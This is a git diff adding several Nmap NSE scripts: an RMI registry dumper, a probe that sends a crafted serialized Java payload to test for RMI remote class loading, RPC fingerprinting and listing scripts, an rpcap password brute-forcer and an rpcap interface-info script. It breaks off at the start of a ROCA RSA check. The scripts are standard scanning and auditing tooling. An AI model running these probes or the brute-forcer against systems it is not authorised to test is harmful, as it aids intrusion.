+-- | file:/C:/CFusionMX7/runtime/../lib/commons-digester-1.3.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-digester-1.7.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-discovery-0.2.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-discovery.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-logging-1.0.2.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-logging-api-1.0.2.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/commons-net-1.2.2.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/crystal.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/flashgateway.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/flashremoting_update.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/flex-assemblerservice.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/flex-messaging-common.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/flex-messaging-opt.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/flex-messaging-req.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/flex-messaging.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/httpclient.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ib61patch.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ib6addonpatch.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ib6core.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ib6swing.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ib6util.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/im.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/iText.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/iTextAsian.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/izmado.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/jakarta-oro-2.0.6.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/java2wsdl.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/jaxrpc.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/jdom.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/jeb.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/jintegra.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ldap.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ldapbp.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/log4j.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/macromedia_drivers.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/mail.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/msapps.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/pbclient42RE.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/pbembedded42RE.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/pbserver42RE.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/pbtools42RE.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/poi-2.5.1-final-20040804.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/poi-contrib-2.5.1-final-20040804.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/ri_generic.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/saaj.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/smack.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/smpp.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/STComm.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/tools.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/tt-bytecode.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/vadmin.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/verity.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/vparametric.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/vsearch.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/wc50.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/webchartsJava2D.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/wsdl2java.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/wsdl4j-1.5.1.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/wsdl4j.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/xalan.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/xercesImpl.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/xml-apis.jar
+-- | file:/C:/CFusionMX7/runtime/../lib/
+-- | file:/C:/CFusionMX7/runtime/../gateway/lib/examples.jar
+-- | file:/C:/CFusionMX7/runtime/../gateway/lib/
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/batik-awt-util.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/batik-css.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/batik-ext.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/batik-transcoder.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/batik-util.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/commons-discovery.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/commons-logging.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/concurrent.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/flex.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/jakarta-oro-2.0.7.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/jcert.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/jnet.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/jsse.jar
+-- | file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/oscache.jar
+-- |_ file:/C:/CFusionMX7/runtime/../wwwroot/WEB-INF/cfform/jars/
+--
+--
+--@version 0.5
+
+author = "Martin Holst Swende"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+portrule = shortport.port_or_service({1098, 1099, 1090, 8901, 8902, 8903}, {"java-rmi", "rmiregistry"})
+
+-- Some lazy shortcuts
+
+local function dbg(str,...)
+ stdnse.debug3("RMI-DUMPREG:"..str, ...)
+end
+
+local function dbg_err(str, ... )
+ stdnse.debug1("RMI-DUMPREG-ERR:"..str, ...)
+end
+
+-- Function to split a string
+local function split(str, sep)
+ local sep, fields = sep or "; ", {}
+ local pattern = string.format("([^%s]+)", sep)
+ str:gsub(pattern, function(c) fields[#fields+1] = c end)
+ return fields
+end
+
+---This is a customData formatter. In some cases, the RMI library finds "custom
+-- data" that belongs to an object. This data is not handled correctly; it is
+-- instead dumped into the object's customData field (which is a table with
+-- strings).
+-- The RMI library does not do anything more than that. However, here, in the
+-- land of rmi-dumpregistry, we may have more knowledge about how to interpret
+-- that data. For example, coldfusion.flex.rmi.DataServicesCFProxyServer_Stub
+-- discloses the classpath in this variable.
+-- This method looks at the contents of the custom data and if it looks like
+-- a class path, we display it as such. This method is passed to the toTable()
+-- method of the returned RMI object.
+-- @return title, data
+function customDataFormatter(className, customData)
+ if customData == nil then return nil end
+ if #customData == 0 then return nil end
+
+ local retData = {}
+ for k,v in ipairs(customData) do
+ if v:find("file:/") == 1 then
+ -- This is a classpath
+ local cp = split(v, "; ") -- Splits into table
+ table.insert(retData, "Classpath")
+ table.insert(retData, cp)
+ else
+ table.insert(retData[v])
+ end
+ end
+
+ return "Custom data", retData
+end
+
+
+function action(host,port, args)
+ local registry = rmi.Registry:new( host, port )
+
+ local status, j_array = registry:list()
+ local output = {}
+ if not status then
+ table.insert(output, ("Registry listing failed (%s)"):format(tostring(j_array)))
+ return stdnse.format_output(false, output)
+ end
+
+ -- Monkey patch the java-class in rmi, to set our own custom data formatter
+ -- for classpaths
+ rmi.JavaClass.customDataFormatter = customDataFormatter
+
+ -- We expect an array of strings to be the return data
+ local data = j_array:getValues()
+ for i,name in ipairs( data ) do
+ --print(data)
+ table.insert(output, name)
+ dbg("Querying object %s", name)
+ local status, j_object = registry:lookup(name)
+
+ if status then
+ table.insert(output, j_object:toTable())
+ end
+ end
+
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/rmi-vuln-classloader.nse b/scripts/rmi-vuln-classloader.nse
new file mode 100644
index 0000000..968eea2
--- /dev/null
+++ b/scripts/rmi-vuln-classloader.nse
@@ -0,0 +1,115 @@
+local rmi = require "rmi"
+local shortport = require "shortport"
+local string = require "string"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+
+description = [[
+Tests whether Java rmiregistry allows class loading. The default
+configuration of rmiregistry allows loading classes from remote URLs,
+which can lead to remote code execution. The vendor (Oracle/Sun)
+classifies this as a design feature.
+
+
+Based on original Metasploit module by mihi.
+
+References:
+* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
+]];
+
+---
+-- @usage
+-- nmap --script=rmi-vuln-classloader -p 1099 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1099/tcp open rmiregistry
+-- | rmi-vuln-classloader:
+-- | VULNERABLE:
+-- | RMI registry default configuration remote code execution vulnerability
+-- | State: VULNERABLE
+-- | Description:
+-- | Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code executeion.
+-- |
+-- | References:
+-- |_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
+
+author = "Aleksandar Nikolic";
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html";
+categories = {
+ "intrusive",
+ "vuln"
+};
+
+
+portrule = shortport.port_or_service({1098, 1099, 1090, 8901, 8902, 8903}, {"java-rmi", "rmiregistry"})
+
+action = function (host, port)
+ local registry = rmi.Registry:new(host, port);
+ registry:_handshake();
+ local rmiArgs = rmi.Arguments:new();
+ local argsRaw = "75" .. --TC_ARRAY
+ "72" .. -- TC_CLASSDESC
+ "0018" .. -- string len
+ "5B4C6A6176612E726D692E7365727665722E4F626A49443B" .. -- class name "[Ljava.rmi.server.ObjID;"
+ "871300B8D02C647E" .. -- serial id
+ "02" .. -- FLAGS (serializable)
+ "0000" .. -- FIELD COUNT
+ "70787000000000" .. --TC_NULL TC_BLOCKEND TC_NULL
+ "77080000000000000000" .. -- TC_BLOCKDATA
+ "73" .. -- TC_OBJECT
+ "72" .. -- TC_CLASSDESC
+ "0005" .. -- string len
+ "64756D6D79" .. -- class name "dummy"
+ "A16544BA26F9C2F4" .. -- serial id
+ "02" .. -- FLAGS (serializable)
+ "0000" .. -- FIELD COUNT
+ "74" .. -- TC_STRING
+ "0010" .. -- string len
+ "66696C653A2E2F64756D6D792E6A6172" .. -- annotation "file:./dummy.jar"
+ "78" .. -- TC_ENDBLOCKDATA
+ "70" .. -- TC_NULL
+ "7701000A"; -- TC_BLOCKDATA
+ local rmi_vuln = {
+ title = "RMI registry default configuration remote code execution vulnerability",
+
+ description = [[
+Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
+]],
+ references = {
+ 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb',
+ },
+ exploit_results = {},
+ };
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port);
+ rmi_vuln.state = vulns.STATE.NOT_VULN;
+
+ rmiArgs:addRaw(stdnse.fromhex( argsRaw));
+
+ -- reference: java/rmi/dgc/DGCImpl_Stub.java and java/rmi/dgc/DGCImpl_Skel.java
+ -- we are calling DGC's (its objectId is 2) method with opnum 0
+ -- DCG's hashcode is f6b6898d8bf28643 hex or -669196253586618813 dec
+ local status, j_array = registry.out:writeMethodCall(registry.out, 2, "f6b6898d8bf28643", 0, rmiArgs);
+ local status, retByte = registry.out.dis:readByte();
+ if not status then
+ return false, "No return data received from server";
+ end
+
+ if 0x51 ~= retByte then
+ -- 0x51 : Returndata
+ return false, "No return data received from server";
+ end
+ -- Need to make sure we get a good chunk of data. It's going to be a java
+ -- stack trace. But if we don't get enough, I guess we can check with
+ -- whatever we get.
+ registry.out.dis:canRead(256)
+ local data = registry.out.dis.bReader.readBuffer;
+
+ if string.find(data, "RMI class loader disabled") == nil then
+ rmi_vuln.state = vulns.STATE.VULN;
+ return report:make_output(rmi_vuln);
+ end
+
+ return report:make_output(rmi_vuln);
+end;
diff --git a/scripts/rpc-grind.nse b/scripts/rpc-grind.nse
new file mode 100644
index 0000000..a89067b
--- /dev/null
+++ b/scripts/rpc-grind.nse
@@ -0,0 +1,269 @@
+local stdnse = require "stdnse"
+local string = require "string"
+local nmap = require "nmap"
+local rpc = require "rpc"
+local math = require "math"
+local io = require "io"
+local coroutine = require "coroutine"
+local table = require "table"
+
+description = [[
+Fingerprints the target RPC port to extract the target service, RPC number and version.
+
+The script works by sending RPC Null call requests with a random high version
+unsupported number to the target service with iterated over RPC program numbers
+from the nmap-rpc file and check for replies from the target port.
+A reply with a RPC accept state 2 (Remote can't support version) means that we
+the request sent the matching program number, and we proceed to extract the
+supported versions. A reply with an accept state RPC accept state 1 (remote
+hasn't exported program) means that we have sent the incorrect program number.
+Any other accept state is an incorrect behaviour.
+]]
+
+---
+-- @args rpc-grind.threads Number of grinding threads. Defaults to <code>4</code>
+--
+-- @usage
+-- nmap -sV <target>
+-- nmap --script rpc-grind <target>
+-- nmap --script rpc-grind --script-args 'rpc-grind.threads=8' -p <targetport>
+-- <target>
+--
+--@output
+--PORT STATE SERVICE VERSION
+--53344/udp open walld 1 (RPC #100008)
+--
+-- @see rpcinfo.nse
+
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"version"}
+
+-- Depend on rpcinfo so we don't grind something that's already known.
+dependencies = {"rpcinfo"}
+
+portrule = function(host, port)
+ -- Do not run for excluded ports
+ if (nmap.port_is_excluded(port.number, port.protocol)) then
+ return false
+ end
+ if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
+ -- Exclude services that have already been detected as something
+ -- different than rpcbind.
+ return false
+ end
+ return nmap.version_intensity() >= 7
+end
+
+--- Function that determines if the target port of host uses RPC protocol.
+--@param host Host table as commonly used in Nmap.
+--@param port Port table as commonly used in Nmap.
+--@return status boolean True if target port uses RPC protocol, false else.
+local isRPC = function(host, port)
+ -- If rpcbind is already set up by -sV
+ -- which does practically the same check as in the "else" part.
+ -- The nmap-services-probe entry "rpcbind" is not correctly true, and should
+ -- be changed to something like "sunrpc"
+ if port.service == 'rpcbind' then
+ return true
+ else
+ -- this check is important if we didn't run the scan with -sV.
+ -- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
+ -- to the "rpcbind" service probe in nmap-service-probes.
+ local rpcConn, status, err, data, rxid, msgtype, _
+
+ -- Create new socket
+ -- rpcbind is not really important, we could have used another protocol from rpc.lua
+ -- such as nfs or mountd. Same thing for version 2.
+ rpcConn = rpc.Comm:new("rpcbind", 2)
+ status, err = rpcConn:Connect(host, port)
+ if not status then
+ stdnse.debug1("%s", err)
+ return
+ end
+
+ -- Send packet
+ local xid = math.random(1234567890)
+ data = rpcConn:EncodePacket(xid)
+ status, err = rpcConn:SendPacket(data)
+ if not status then
+ stdnse.debug1("SendPacket(): %s", err)
+ return
+ end
+
+ -- And check response
+ status, data = rpcConn:ReceivePacket()
+ if not status then
+ stdnse.debug1("isRPC didn't receive response.")
+ return
+ else
+ -- If we got response, set port to open
+ nmap.set_port_state(host, port, "open")
+
+ rxid, msgtype = string.unpack(">I4 I4", data)
+ -- If response XID does match request XID
+ -- and message type equals 1 (REPLY) then
+ -- it is a RPC port.
+ if rxid == xid and msgtype == 1 then
+ return true
+ end
+ end
+ end
+ stdnse.debug1("RPC checking function response data is not RPC.")
+end
+
+-- Function that iterates over the nmap-rpc file and
+-- returns program name and number pairs.
+-- @return name Name of the RPC service.
+-- @return number RPC number of the matching service name.
+local rpcIterator = function()
+ -- Check if nmap-rpc file is present.
+ local path = nmap.fetchfile("nmap-rpc")
+ if not path then
+ stdnse.debug1("Could not find nmap-rpc file.")
+ return false
+ end
+
+ -- And is readable
+ local nmaprpc, _, _ = io.open( path, "r" )
+ if not nmaprpc then
+ stdnse.debug1("Could not open nmap-rpc for reading.")
+ return false
+ end
+
+ return function()
+ while true do
+ local line = nmaprpc:read()
+ if not line then
+ break
+ end
+ -- Now, we parse lines for meaningful ones
+ local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
+ -- And return program name and number
+ if name and number then
+ return name, tonumber(number)
+ end
+ end
+ end
+end
+
+--- Function that sends RPC null commands with a random version number and
+-- iterated over program numbers and checks the response for a sign that the
+-- sent program number is the matching one for the target service.
+-- @param host Host table as commonly used in Nmap.
+-- @param port Port table as commonly used in Nmap.
+-- @param iterator Iterator function that returns program name and number pairs.
+-- @param result table to put result into.
+local rpcGrinder = function(host, port, iterator, result)
+ local condvar = nmap.condvar(result)
+ local rpcConn, version, xid, status, response, packet, err, data, _
+
+ xid = math.random(123456789)
+ -- We use a random, most likely unsupported version so that
+ -- we also trigger min and max version disclosure for the target service.
+ version = math.random(12345, 123456789)
+ rpcConn = rpc.Comm:new("rpcbind", version)
+ rpcConn:SetCheckProgVer(false)
+ status, err = rpcConn:Connect(host, port)
+
+ if not status then
+ stdnse.debug1("Connect(): %s", err)
+ condvar "signal";
+ return
+ end
+ for program, number in iterator do
+ -- No need to continue further if we found the matching service.
+ if #result > 0 then
+ break
+ end
+
+ xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
+ rpcConn:SetProgID(number)
+ packet = rpcConn:EncodePacket(xid)
+ status, err = rpcConn:SendPacket(packet)
+ if not status then
+ stdnse.debug1("SendPacket(): %s", err)
+ condvar "signal";
+ return
+ end
+
+ status, data = rpcConn:ReceivePacket()
+ if not status then
+ stdnse.debug1("ReceivePacket(): %s", data)
+ condvar "signal";
+ return
+ end
+
+ _,response = rpcConn:DecodeHeader(data, 1)
+ if type(response) == 'table' then
+ if xid ~= response.xid then
+ -- Shouldn't happen.
+ stdnse.debug1("XID mismatch.")
+ end
+ -- Look at accept state
+ -- Not supported version means that we used the right program number
+ if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
+ result.program = program
+ result.number = number
+ result.lowver, result.highver = string.unpack(">I4 I4", data, #data - 7)
+ table.insert(result, true) -- To make #result > 1
+
+ -- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
+ elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
+ stdnse.debug1("returned %s accept state for %s program number.", response.accept_state, number)
+ end
+ end
+ end
+ condvar "signal";
+ return result
+end
+
+action = function(host, port)
+ local result, lthreads = {}, {}
+
+ if not isRPC(host, port) then
+ stdnse.debug1("Target port %s is not a RPC port.", port.number)
+ return
+ end
+ local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
+
+ local iterator = rpcIterator()
+ if not iterator then
+ return
+ end
+ -- And now, exec our grinder
+ for i = 1,threads do
+ local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
+ lthreads[co] = true
+ end
+
+ local condvar = nmap.condvar(result)
+ repeat
+ for thread in pairs(lthreads) do
+ if coroutine.status(thread) == "dead" then
+ lthreads[thread] = nil
+ end
+ end
+ if ( next(lthreads) ) then
+ condvar "wait";
+ end
+ until next(lthreads) == nil;
+
+ -- Check the result and set the port version.
+ if #result > 0 then
+ port.version.name = result.program
+ port.version.extrainfo = "RPC #" .. result.number
+ if result.highver ~= result.lowver then
+ port.version.version = ("%s-%s"):format(result.lowver, result.highver)
+ else
+ port.version.version = result.highver
+ end
+ nmap.set_port_version(host, port, "hardmatched")
+ else
+ stdnse.debug1("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
+ end
+ return nil
+end
diff --git a/scripts/rpcap-brute.nse b/scripts/rpcap-brute.nse
new file mode 100644
index 0000000..bbd1ebc
--- /dev/null
+++ b/scripts/rpcap-brute.nse
@@ -0,0 +1,94 @@
+local brute = require "brute"
+local creds = require "creds"
+local rpcap = require "rpcap"
+local shortport = require "shortport"
+
+description = [[
+Performs brute force password auditing against the WinPcap Remote Capture
+Daemon (rpcap).
+]]
+
+---
+-- @usage
+-- nmap -p 2002 <ip> --script rpcap-brute
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2002/tcp open globe syn-ack
+-- | rpcap-brute:
+-- | Accounts
+-- | monkey:Password1 - Valid credentials
+-- | Statistics
+-- |_ Performed 3540 guesses in 3 seconds, average tps: 1180
+--
+--
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service(2002, "rpcap", "tcp")
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = { helper = rpcap.Helper:new(host, port, brute.new_socket()) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ return self.helper:connect()
+ end,
+
+ login = function(self, username, password)
+ local status, resp = self.helper:login(username, password)
+ if ( status ) then
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function(self)
+ return self.helper:close()
+ end,
+
+}
+
+local function validateAuth(host, port)
+ local helper = rpcap.Helper:new(host, port)
+ local status, result = helper:connect()
+ if ( not(status) ) then
+ return false, result
+ end
+ status, result = helper:login()
+ helper:close()
+
+ if ( status ) then
+ return false, "Authentication not required"
+ elseif ( not(status) and
+ "Authentication failed; NULL authentication not permitted." == result ) then
+ return true
+ end
+ return status, result
+end
+
+action = function(host, port)
+
+ local status, result = validateAuth(host, port)
+ if ( not(status) ) then
+ return result
+ end
+
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+ status, result = engine:start()
+
+ return result
+end
+
+
diff --git a/scripts/rpcap-info.nse b/scripts/rpcap-info.nse
new file mode 100644
index 0000000..fd460c9
--- /dev/null
+++ b/scripts/rpcap-info.nse
@@ -0,0 +1,94 @@
+local creds = require "creds"
+local nmap = require "nmap"
+local rpcap = require "rpcap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Connects to the rpcap service (provides remote sniffing capabilities
+through WinPcap) and retrieves interface information. The service can either be
+setup to require authentication or not and also supports IP restrictions.
+]]
+
+---
+-- @usage
+-- nmap -p 2002 <ip> --script rpcap-info
+-- nmap -p 2002 <ip> --script rpcap-info --script-args="creds.rpcap='administrator:foobar'"
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2002/tcp open rpcap syn-ack
+-- | rpcap-info:
+-- | \Device\NPF_{0D5D1364-1F1F-4892-8AC3-B838258F9BB8}
+-- | Intel(R) PRO/1000 MT Desktop Adapter
+-- | Addresses
+-- | fe80:0:0:0:aabb:ccdd:eeff:0011
+-- | 192.168.1.127/24
+-- | \Device\NPF_{D5EAD105-B0BA-4D38-ACB4-6E95512BC228}
+-- | Hamachi Virtual Network Interface Driver
+-- | Addresses
+-- |_ fe80:0:0:0:aabb:ccdd:eeff:0022
+--
+-- @args creds.rpcap username:password to use for authentication
+--
+-- @see rpcap-brute.nse
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"rpcap-brute"}
+
+
+portrule = shortport.port_or_service(2002, "rpcap", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function getInfo(host, port, username, password)
+
+ local helper = rpcap.Helper:new(host, port)
+ local status, resp = helper:connect()
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+ status, resp = helper:login(username, password)
+
+ if ( not(status) ) then
+ return false, resp
+ end
+
+ status, resp = helper:findAllInterfaces()
+ helper:close()
+ if ( not(status) ) then
+ return false, resp
+ end
+
+ port.version.name = "rpcap"
+ port.version.product = "WinPcap remote packet capture daemon"
+ nmap.set_port_version(host, port)
+
+ return true, resp
+end
+
+action = function(host, port)
+
+ -- patch-up the service name, so creds.rpcap will work, ugly but needed as
+ -- tcp 2002 is registered to the globe service in nmap-services ...
+ port.service = "rpcap"
+
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ local states = creds.State.VALID + creds.State.PARAM
+ local status, resp = getInfo(host, port)
+
+ if ( status ) then
+ return stdnse.format_output(true, resp)
+ end
+
+ for cred in c:getCredentials(states) do
+ status, resp = getInfo(host, port, cred.user, cred.pass)
+ if ( status ) then
+ return stdnse.format_output(true, resp)
+ end
+ end
+
+ return fail(resp)
+end
diff --git a/scripts/rpcinfo.nse b/scripts/rpcinfo.nse
new file mode 100644
index 0000000..87edfc7
--- /dev/null
+++ b/scripts/rpcinfo.nse
@@ -0,0 +1,134 @@
+local nmap = require "nmap"
+local rpc = require "rpc"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Connects to portmapper and fetches a list of all registered programs. It then
+prints out a table including (for each program) the RPC program number,
+supported version numbers, port number and protocol, and program name.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 111/tcp open rpcbind
+-- | rpcinfo:
+-- | program version port/proto service
+-- | 100000 2,3,4 111/tcp rpcbind
+-- | 100000 2,3,4 111/udp rpcbind
+-- | 100001 2,3,4 32774/udp rstatd
+-- | 100002 2,3 32776/udp rusersd
+-- | 100002 2,3 32780/tcp rusersd
+-- | 100011 1 32777/udp rquotad
+-- | 100021 1,2,3,4 4045/tcp nlockmgr
+-- | 100021 1,2,3,4 4045/udp nlockmgr
+-- | 100024 1 32771/tcp status
+-- | 100024 1 32773/udp status
+-- | 100068 2,3,4,5 32775/udp cmsd
+-- | 100083 1 32779/tcp ttdbserverd
+-- | 100133 1 32771/tcp nsm_addrand
+-- | 100133 1 32773/udp nsm_addrand
+-- | 100229 1,2 32775/tcp metad
+-- | 100230 1 32778/tcp metamhd
+-- | 100242 1 32777/tcp rpc.metamedd
+-- | 100249 1 32780/udp snmpXdmid
+-- | 100249 1 32781/tcp snmpXdmid
+-- | 100422 1 32776/tcp mdcommd
+-- | 1073741824 1 32772/tcp fmproduct
+-- | 300598 1 32782/tcp dmispd
+-- | 300598 1 32783/udp dmispd
+-- | 805306368 1 32782/tcp dmispd
+-- |_ 805306368 1 32783/udp dmispd
+--@xmloutput
+--<table>
+-- <table key="100003">
+-- <table key="tcp">
+-- <elem key="port">2049</elem>
+-- <table key="version">
+-- <elem>2</elem> <elem>3</elem> <elem>4</elem>
+-- </table>
+-- </table>
+-- <table key="udp">
+-- <elem key="port">2049</elem>
+-- <table key="version">
+-- <elem>2</elem> <elem>3</elem> <elem>4</elem>
+-- </table>
+-- </table>
+-- </table>
+-- <table key="100000">
+-- <table key="tcp">
+-- <elem key="port">111</elem>
+-- <table key="version">
+-- <elem>2</elem> <elem>3</elem> <elem>4</elem>
+-- </table>
+-- </table>
+-- <table key="udp">
+-- <elem key="port">111</elem>
+-- <table key="version">
+-- <elem>2</elem> <elem>3</elem> <elem>4</elem>
+-- </table>
+-- </table>
+-- </table>
+--</table>
+--
+-- @see rpc-grind.nse
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "default", "safe", "version"}
+
+
+-- don't match "rpcbind" because that's what version scan labels any RPC service
+portrule = function(host, port)
+ return nmap.version_intensity() >= 7 and
+ shortport.portnumber(111, {"tcp", "udp"})(host, port)
+end
+
+action = function(host, port)
+
+ local result = {}
+ local status, rpcinfo = rpc.Helper.RpcInfo( host, port )
+ local xmlout = {}
+
+ if ( not(status) ) then
+ return stdnse.format_output(false, rpcinfo)
+ end
+
+ for progid, v in pairs(rpcinfo) do
+ xmlout[tostring(progid)] = v
+ for proto, v2 in pairs(v) do
+ if proto == "tcp" or proto == "udp" then
+ local nmapport = nmap.get_port_state(host, {number=v2.port, protocol=proto})
+ if nmapport and (nmapport.state == "open" or nmapport.state == "open|filtered") then
+ nmapport.version = nmapport.version or {}
+ -- If we don't already know it, or we only know that it's "rpcbind"
+ if nmapport.service == nil or nmapport.version.service_dtype == "table" or port.service == "rpcbind" then
+ nmapport.version.name = rpc.Util.ProgNumberToName(progid)
+ nmapport.version.extrainfo = "RPC #" .. progid
+ if #v2.version > 1 then
+ nmapport.version.version = ("%d-%d"):format(v2.version[1], v2.version[#v2.version])
+ else
+ nmapport.version.version = tostring(v2.version[1])
+ end
+ nmap.set_port_version(host, nmapport, "softmatched")
+ end
+ end
+ end
+
+ if v2.port then
+ -- TODO: report other transports that don't have a port; e.g. "local"
+ table.insert( result, ("%-7d %-10s %5d/%-4s %s"):format(progid, table.concat(v2.version, ","), v2.port, proto, rpc.Util.ProgNumberToName(progid) or "") )
+ end
+ end
+ end
+
+ table.sort(result)
+
+ if (#result > 0) then
+ table.insert(result, 1, "program version port/proto service")
+ end
+
+ return xmlout, stdnse.format_output( true, result )
+end
diff --git a/scripts/rsa-vuln-roca.nse b/scripts/rsa-vuln-roca.nse
new file mode 100644
index 0000000..bd3e627
--- /dev/null
+++ b/scripts/rsa-vuln-roca.nse
@@ -0,0 +1,176 @@
+local stdnse = require "stdnse"
+local openssl = stdnse.silent_require "openssl"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local ssh2 = require "ssh2"
+local sslcert = require "sslcert"
+local math = require "math"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
